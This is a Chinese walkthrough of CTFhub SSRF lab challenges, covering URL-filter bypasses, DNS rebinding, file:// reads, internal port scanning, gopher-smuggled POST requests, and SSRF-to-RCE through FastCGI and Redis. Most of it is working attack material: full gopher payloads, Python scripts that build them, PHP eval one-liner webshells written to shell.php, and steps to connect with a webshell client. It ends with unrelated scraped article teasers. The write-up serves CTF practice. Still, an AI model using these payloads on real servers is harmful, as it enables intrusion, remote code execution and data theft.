CTFhub_SSRF靶场教程
CTFhub SSRF 题目
1. Bypass
1.1 URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com
,来尝试利用URL的一些特殊地方绕过这个限制吧
1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
访问题目所给的链接,使用bp抓包
发送重发器,题目要求 url must startwith http://notfound.ctfhub.com,我们可以利用@来绕过。
如 http://clay@127.0.0.1 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://notfound.ctfhub.com@127.0.0.1 与 http://127.0.0.1 请求是相同的。
构造payload:
?url=http://notfound.ctfhub.com@127.0.0.1:80/flag.php
此flag看长度可知是假的
在浏览器中输入构造的payload
得到flag:ctfhub{eecad35d4ef30dfb74eaabe4}
提交flag
1.2 数字IP Bypass
访问题目给的链接
这次ban掉了127以及172.不能使用点分十进制的IP了
127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001
payload:
?url=http://2130706433/flag.php
?url=http://0x7F000001/flag.php
获得flag:ctfhub{173229e61b99e88ff568b667}
提交flag
1.3 302跳转
使用bp抓包
点击/?url发送重发器
GET参数中输入 index.php?url=file:///var/www/html/index.php
查看到源代码
题目中让访问127.0.0.1网址查看flag.php,但是127.0.0.1被绊了
使用127.0.0.1变形写法0.0.0.0
1.4 DNS重绑定 Bypass
DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
放到这个题目的环境上来看,我们使用各种方法想来实现绕过,但是都无法访问,既然如此我们使用DNS重绑定,从DNS域名解析入手,有一个想法就是通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。
使用此链接实现DNS Rebinding重绑定
绑定的两个ip中保证有一个是127.0.0.1即可,我这里和192.168.0.1绑定了,结果为
7f000001.c0a80001.rbndr.us
因此我们的url=7f000001.c0a80001.rbndr.us/flag.php ,注意这个域名相当于绑定了两个ip地址(同一时刻只对应一个),由于无法确定进行dns校验时的ip是否为127.0.0.1,可能一次请求不成功,多刷新几次即可。
获得flag:
ctfhub{7a5fef6af9eed33e10a148b4}
提交flag
2. 内网访问
2.1 内网访问
使用bp自带的浏览器访问题目所给的链接,将数据包发送至重发器
因为题目提示要访问127.0.0.1下的flag.php,所以在get请求中的url中输入 http://127.0.0.1/flag.php
得到flag:ctfhub{3eeed20a4af312739f4a0e48},提交flag
2.2 伪协议读取文件
伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:
file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流(I/O streams)
网站的目录一般都在/var/www/html/,使用bp抓包题目给的链接
?url=file:///var/www/html/flag.php
通过构造的伪协议访问flag.php
获得flag:ctfhub{125f0616e2b862c37295c354}
提交flag
2.3 端口扫描
使用bp自带的浏览器访问题目所给的链接,抓包,题目提示访问8000端口到9000端口之间的网址,将数据包发送Intruder,进行端口爆破
在GET请求的url中输入127.0.0.1:§8000§,因为不知道端口将端口选中,进行端口爆破,使用dict协议提交
点击爆破
获得flag:
ctfhub{897cd121c1325a06f2934c8e}
提交flag
方法二:使用python脚本
import requestsurl = 'http://challenge-33aaafdf5b3cced7.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001):url_1 = f'http://challenge-33aaafdf5b3cced7.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'res = requests.get(url_1)print(index, res.text)
在Linux桌面新建一个python文件j.py,将上述代码复制进文件中(注意:在复制的时候将url换为题目所给的链接)然后在python文件所在目录下启动python文件
python3 j.py
3. POST
3.1 POST 请求
gopher协议作用是通过url传递POST请求
访问题目所给的链接,使用bp抓包
将根目录页面的数据包发送重发器访问flag.php页面
回显要求只能通过127.0.0.1访问,访问127.0.0.1获得提示,访问flag.php需要通过POST方式提交,并且给了
key=b438fdf9b8d3fe742da431d0c2562e0d
通过file协议读取源码
<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return;
}$flag=getenv("CTFHUB");
$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag;exit;
}
?><form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
构造gopher协议
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=b438fdf9b8d3fe742da431d0c2562e0d
将构造的gopher协议url编码进行提交
获得flag:
ctfhub{d296c0189fec3031e9a7f182}
提交flag
给kali虚拟机开代理
ip是开代理的主机IP
3.2 上传文件
先用file协议读下flag.php的内容:
file:///var/www/html/flag.php
可知是随便上传个文件就行
访问127.0.0.1/flag.php,是个上传界面
但并没有提交,所以我们得自己补一个提交按钮:
<input type="submit" name="submit">
提交文件并抓包
创建python文件file.py
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: challenge-fd2d57f25cdff635.sandbox.ctfhub.com:10800
Content-Length: 327
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-fd2d57f25cdff635.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ089UVD4uAB1Q2P6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-fd2d57f25cdff635.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close------WebKitFormBoundaryQ089UVD4uAB1Q2P6
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-php<?php
@eval($_REQUEST[777]);phpinfo();
?>
------WebKitFormBoundaryQ089UVD4uAB1Q2P6
Content-Disposition: form-data; name="submit"Submit
------WebKitFormBoundaryQ089UVD4uAB1Q2P6--""" #注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
将上述代码复制进python.py文件中,运行文件
得到构造POST请求
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-fd2d57f25cdff635.sandbox.ctfhub.com%253A10800%250D%250AContent-Length%253A%2520327%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-fd2d57f25cdff635.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryQ089UVD4uAB1Q2P6%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/108.0.5359.125%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-fd2d57f25cdff635.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520en-US%252Cen%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryQ089UVD4uAB1Q2P6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/x-php%250D%250A%250D%250A%253C%253Fphp%250D%250A%2540eval%2528%2524_REQUEST%255B777%255D%2529%253Bphpinfo%2528%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryQ089UVD4uAB1Q2P6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250ASubmit%250D%250A------WebKitFormBoundaryQ089UVD4uAB1Q2P6--%250D%250A%250D%250A
将构造的请求连接到抓到的初始包中
获得flag:ctfhub{fdf28669f2de65b517dbc7f9}
提交flag
3.3 FastCGI 协议
下载脚本gopherus.py,这个脚本可以对SSRF漏洞进行利用,可以直接生成 payload造成远程代码执行RCE或getShell,下载地址见工具
如果端口9000
是开放的,则SSRF漏洞可能存在并且可能导致RCE。为了利用它,您需要提供一个目标主机上必须存在的文件名。
该网站上存在index.php
路径为/var/www/html/index.php
<?phperror_reporting(0);if (!isset($_REQUEST['url'])) {header("Location: /?url=_");exit;
}$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
准备一句话木马:
<?php @eval($_POST[6]);?>
<?php @eval($_POST['x']);?>
构造要执行的终端命令:对一句话木马进行base64编码,并写入到名为shell.php的文件中。
echo "PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+" |base64 -d > shell.php
使用Gopherus工具生成payload:
python gopherus.py --exploit fastcgi
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH118%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00v%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2B%22%20%7Cbase64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
将生成的payload进行编码,第一次编码后将%0a
替换为%0d%0a
,再进行第二次编码即可,但此次只进行了一次编码就执行成功了。
?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%31%38%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%76%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%25%32%32%25%32%30%25%37%43%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30
使用蚁剑连接
http://challenge-32e109c00200b06e.sandbox.ctfhub.com:10800/shell.php
点击根目录查看flag文件
获得flag
ctfhub{1879095cf6f303b8b5d6f4ee}
提交flag
3.4 Redis 协议
利用工具Gopherus
python gopherus.py --exploit redis
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B777%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
默认上传的文件名为shell.php,查看shell.php
?url=file///var/www/html/shell.php
使用蚁剑连接
点击文件管理,在根目录中查看flag
获得flag
ctfhub{7f3b0e6588d7f3b400f0be6d}
提交flag
相关文章:
CTFhub_SSRF靶场教程
CTFhub SSRF 题目 1. Bypass 1.1 URL Bypass 请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧 1.利用?绕过限制urlhttps://www.baidu.com?www.xxxx.me 2.利用绕过限制urlhttps://www.baidu.comwww.xxxx.me 3.利用斜…...
【华为OD机试】单词接龙【2023 B卷|100分】
【华为OD机试】-真题 !!点这里!! 【华为OD机试】真题考点分类 !!点这里 !! 题目描述: 单词接龙的规则是:可用于接龙的单词首字母必须要前一个单词的尾字母相同; 当存在多个首字母相同的单词时,取长度最长的单词,如果长度也相等, 则取字典序最小的单词;已经参与接龙…...
如何优雅的实现无侵入性参数校验之spring-boot-starter-validation
在开发过程中,参数校验是一个非常重要的环节。但是,传统的参数校验方法往往需要在代码中手动添加大量的 if-else 语句,这不仅繁琐,而且容易出错。为了解决这个问题,我们可以使用无侵入性参数校验的方式来简化代码并提高…...
企业架构LNMP学习笔记27
Keepalived的配置补充: 脑裂(裂脑):vip出现在了多台机器上。网络不通畅,禁用了数据包,主备服务器没法通讯,造成备服务器认为主服务器不可用,绑定VIP,主服务器VIP不会释放…...
品牌策划经理工作内容|工作职责|品牌策划经理做什么?
一位美国作家曾说过“品牌是一系列期望、记忆、故事和关系,他们共同构成了消费者最终原则一个产品或者服务的原因。” 所以,品牌经理这个岗位主要是创造感知价值主张,激发消费者购买这个品牌后带来的感知价值,这种回报的本质相对…...
【设计模式】三、概述分类+单例模式
文章目录 概述设计模式类型 单例模式饿汉式(静态常量)饿汉式(静态代码块)懒汉式(线程不安全)懒汉式(线程安全,同步方法)懒汉式(线程安全,同步代码块)双重检查静态内部类枚举单例模式在 JDK 应用的源码分析 …...
手把手教学 Springboot+ftp+下载图片
简单教学,复制即用的Ftp下载图片 引入配置包 <dependency><groupId>commons-fileupload</groupId><artifactId>commons-fileupload</artifactId><version>1.3.1</version></dependency><dependency><grou…...
LaaS LLM as a service
LaaS LLM as a service 核心构成GPT 产业链如何进行商业化LLM(Large Language Model) 发展和趋势LLM(Large Language Model) 对于行业公司的分层LLM(Large Language Model) 的机遇和挑战 LaaS LLM as a service 核心构成 计算:算力模型:算法输入&…...
数据结构与算法(一)数组的相关概念和底层java实现
一、前言 从今天开始,笔者也开始从0学习数据结构和算法,但是因为这次学习比较捉急,所以记录的内容并不会过于详细,会从基础和底层代码实现以及力扣相关题目去写相关的文章,对于详细的概念并不会过多讲解 二、数组基础…...
歌曲推荐《最佳损友》
最佳损友 陈奕迅演唱歌曲 《最佳损友》是陈奕迅演唱的一首粤语歌曲,由黄伟文作词,Eric Kwok(郭伟亮)作曲。收录于专辑《Life Continues》中,发行于2006年6月15日。 2006年12月26日,该曲获得2006香港新城…...
多元共进|科技促进艺术发展,助力文化传承
科技发展助力文化和艺术的传播 融合传统与创新,碰撞独特魅力 一起来了解 2023 Google 开发者大会上 谷歌如何依托科技创新 推动艺术与文化连接 传承和弘扬传统文化 自 2011 年成立以来,谷歌艺术与文化致力于提供体验艺术和文化的新方式,从生成…...
Java集合(Collection、Iterator、Map、Collections)概述——Java第十三讲
前言 本讲我们将继续来讲解Java的其他重要知识点——Java集合。Java集合框架是Java编程语言中一个重要的部分,它提供了一套预定义的类和接口,供程序员使用数据结构来存储和操作一组对象。Java集合框架主要包括两种类型:一种是集合(Collection),存储一个元素列表,…...
topscoding主题库模板题
目录 模板题 【模板题】分因数(P1101) 【模板题】区间素数 III(P1113) 进制转换 III (任意转任意) (P2463) AB Problem(高精度加法) A-B Problem(高精度减法&…...
Linux--进程间通讯--FIFO(open打开)
1. 什么是FIFO FIFO命名管道,也叫有名管道,来区分管道pipe。管道pipe只能用于有血缘关系的进程间通信,但通过FIFO可以实现不相关的进程之间交换数据。FIFO是Linux基础文件类型中的一种,但是FIFO文件在磁盘上没有数据块,…...
哪里可以了解轻量的工作流引擎?
如果想要实现高效率的办公,可以使用轻量的工作流引擎低代码技术平台。随着工作量日益繁重起来,传统的办公制作方式已经无法满足现实需要的,采用轻量级的表格制作工具,就能在无形中缓解办公压力,创造更高效、灵活、优质…...
lvs负载均衡、LVS集群部署
四:LVS集群部署 lvs给nginx做负载均衡项目 218lvs(DR 负载均衡器) yum -y install ipvsadm(安装这个工具来管理lvs) 设置VIP192.168.142.120 创建ipvsadm的文件用来存放lvs的规则 定义策略 ipvsadm -C //清空现有…...
如何应对核心员工提离职?
最近一年互联网行情不好,很多大厂都在裁员,但裁员并不是不要人做事了。原来你这个岗位10个人做,企业有钱赚养得起,现在企业不怎么赚钱了,只能养4个人了。那么会有六个被裁掉。这时候对企业价值最大的4个人会被留下。也…...
建站系列(八)--- 本地开发环境搭建(WNMP)
目录 相关系列文章前言一、准备工作二、Nginx安装三、MySQL安装四、PHP安装及Nginx配置五、总结 相关系列文章 建站系列(一)— 网站基本常识 建站系列(二)— 域名、IP地址、URL、端口详解 建站系列(三)— …...
21天学会C++:Day8----范围for与nullptr
目录 编辑 1. 范围for 2. nullptr 1. 范围for 我们在写C语言循环遍历代码的时候,无论是用 for循环,while循环都需要考虑循环的起始条件,循环变量的递增逻辑,循环的结束条件。麻烦不说还可能会出错。 int main() {int arr[]…...
Linux——环境变量
✅<1>主页::我的代码爱吃辣 📃<2>知识讲解:Linux——环境变量 ☂️<3>开发环境:Centos7 💬<4>前言:环境变量(environment variables)一般是指在操作系统中用来指定操作…...
Screen的详细全面安装教程及Screen的用法
Screen可以大大提高终端使用效率,是Linux系统管理和运维的必备技能。当我们开启Screen后,只要Screen进程没有终止,其内部运行的会话都可以恢复。即使网络连接中断,用户也可以重新进入已开启的Screen中,对中断的会话进行…...
生成树、Prufer序列的计数问题:0912T1
看到生成树计数,很容易想到生成树计数 然后发现每个点有度数限制,我们可以先考虑枚举每个点的度数(也可以是Prufer 序列中的出现次数) 假设出现次数为 a a a,可以得出其生成树方案为 n ! ∏ ( a i − 1 ) ! \frac{…...
SQL_牛客网_SQL264_求每个登陆日期的次日留存率
牛客每个人最近的登录日期(五) 牛客每天有很多人登录,请你统计一下牛客每个日期新用户的次日留存率。 有一个登录(login)记录表,简况如下: id user_id client_id date 1 2 1 2020-10-12 2 3 2 2020-10-12 3 1 2 2020-10-…...
Hive 基础知识
目录 1.基础概念1.1 定义1.2 组件1.3 元数据1.4 内部表和外部表 2. Hive与关系型数据库的对比3. Hive 数据存储4. 参考文献 1.基础概念 1.1 定义 Hive是一个基于Hadoop的数据仓库基础设施工具,它可以将结构化的数据文件映射为一张数据库表,并提供类SQL查…...
【数据结构】树的基础知识及三种存储结构
💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …...
ABB 3BHB003688R0101接口模块
通信接口:接口模块通常具有多种通信接口,如以太网、串行通信、Modbus、Profibus等,以便与其他设备和系统进行数据交换。 协议支持:它们支持各种通信协议,确保与不同制造商的设备和控制系统兼容。 数据转换和适配&…...
精简 jre 涉坑记录
主要参考:https://zhuanlan.zhihu.com/p/91496457 主要问题: 1)jre 中有 client 和 server 之分。参考:关于JDK的Server和Client模式的切换_jacksonary的博客-CSDN博客 2)对 copy 出来的 rt 进行打 zip 包时&#x…...
Java程序员学习算法路线规划总结
文章目录 前言:必须清楚得基本数据结构:1.需掌握哪些算法?2.学习步骤以及路线 前言:必须清楚得基本数据结构: 数组(Array) 链表(Linked List) 栈(Stack&…...
火山引擎 ByteHouse:两个关键技术,揭秘 OLAP 引擎中的数据导入技术
更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 数据导入是衡量 OLAP 引擎性能及易用性的重要标准之一,高效的数据导入能力能够加速数据实时处理和分析的效率。 作为一款 OLAP 引擎,火山引…...
深挖“范围经济”穿越产业周期:TCL电子持续繁荣的密码
作者 | 曾响铃 文 | 响铃说 1878年,爱迪生创立了爱迪生电灯公司,14年后,摩根将该公司与另外两家合并成通用电气公司(GE)。 从一个小小的碳丝直流电灯泡开始,历经数次改弦更张,穿越两次世界大…...
网站建设公司华网天下买送活动/上海网络推广
Oracle的安全措施主要有三个方面,一是用户标识和鉴定;二是授权和检查机制;三是审计技术(是否使用审计技术可由用户灵活选择);除此之外,Oracle还允许用户通过触发器灵活定义自己的安全性措施。一…...
iis 网站访问权限设置/nba最新消息交易
在说明位运算前,先说明下逻辑运算。逻辑运算符有以下几个: 逻辑运算符(按运算符优先顺序排列) 结合方向逻辑运算符名 称例 子 非结合!逻辑非! $A左&&逻辑与$A && $B左||逻辑或$A || $B左AND逻辑与$A and $B左XOR逻…...
江苏建设工程材料网站/百度app官方正式版
跳过测试用例 maven package -Dmaven.test.skiptrue 该命令会跳过测试代码的编译 maven package -DskipTests 该命令跳过测试,但是还会编译测试代码 动态运行测试用例 mvn test -Dtest 测试类名:指定运行测试类mvn test -Dtest Random * Test&am…...
网站维护的内容/企业营销策划实训报告
我们都已经习惯认为下一代的iPhone会有更大的屏幕。至于实际尺寸(取决于你相信哪个传闻),貌似大家都倾向于认为会更大。不过现在看来,可能不会这样了。 苹果的PhotoStream中的一个图标似乎说明了这款智能机并没有走传统的iPhone设…...
静态营销网站代码/重庆网站搜索排名
解法一:http://siukwan.sinaapp.com/?p189 https://www.cnblogs.com/TonyYPZhang/p/5123058.html 1.这道题目主要是求一个无向图中,以哪个节点为根节点的树的高度最小; 2.常规方法可以使用BFS或者DFS,对每个点都遍历一遍&…...
网站开发我们都能解决/朋友圈产品推广文案
【转】http://blog.csdn.net/shangqing1123/article/details/47661389 /** * 功能:给你一堆n个箱子,箱子宽wi,高hi,深di。箱子不能翻转,将箱子堆起来时,下面箱子的宽度、高度和深度必须大于上面的箱子。 * 实现方法&am…...